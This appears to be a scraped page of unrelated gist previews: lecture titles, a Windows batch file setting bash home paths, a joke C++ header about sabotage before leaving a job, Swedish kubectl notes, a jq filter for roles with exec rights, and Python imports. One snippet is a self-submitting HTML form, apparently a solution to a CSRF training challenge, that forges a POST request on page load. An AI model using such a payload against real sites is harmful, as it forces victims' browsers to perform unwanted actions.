Lecture 1: Introduction to Research — [📝Lecture Notebooks] [
Lecture 2: Introduction to Python — [📝Lecture Notebooks] [
Lecture 3: Introduction to NumPy — [📝Lecture Notebooks] [
Lecture 4: Introduction to pandas — [📝Lecture Notebooks] [
Lecture 5: Plotting Data — [📝Lecture Notebooks] [[
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @echo off | |
| rem Copyright (C): 2010 Voyagerfan5761 | |
| rem http://technobabbl.es/ | |
| set USERPROFILE=%~dp0 | |
| set HOMEDRIVE=%~d0 | |
| set HOMEPATH=%~p0 | |
| set HOME=%~dp0 | |
| set HISTFILE=%USERPROFILE%.bash_history | |
| rem set BASHRC=%USERPROFILE%.bashrc |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Just before switching jobs: | |
| // Add one of these. | |
| // Preferably into the same commit where you do a large merge. | |
| // | |
| // This started as a tweet with a joke of "C++ pro-tip: #define private public", | |
| // and then it quickly escalated into more and more evil suggestions. | |
| // I've tried to capture interesting suggestions here. | |
| // | |
| // Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_, | |
| // @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <body> | |
| <form name="spandop" method="post" action="/user/csrfchallengetwo/plusplus"> | |
| <input type="hidden" name="userId" value="76a0cb8148871965dd31722192b7976e4154d2a0" /> | |
| </form> | |
| <script>document.spandop.submit();</script> | |
| </body> | |
| </html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Kubectl | |
| ## Nod resursutnyttjande | |
| kubectl top nodes | |
| ## Debugga nod | |
| kubectl debug node <noden name> -it --image=mcr.microsoft.com/aks/fundamental/base-ubuntu:v0.0.11 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| jq -r '.items[] | select(. | @text | contains("exec")) | .metadata.name' roles.json |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Import our libraries | |
| # This is for numerical processing | |
| import numpy as np | |
| # This is the library most commonly used for plotting in Python. | |
| # Notice how we import it 'as' plt, this enables us to type plt | |
| # rather than the full string every time. | |
| import matplotlib.pyplot as plt | |
| import pandas as pd | |
| import os |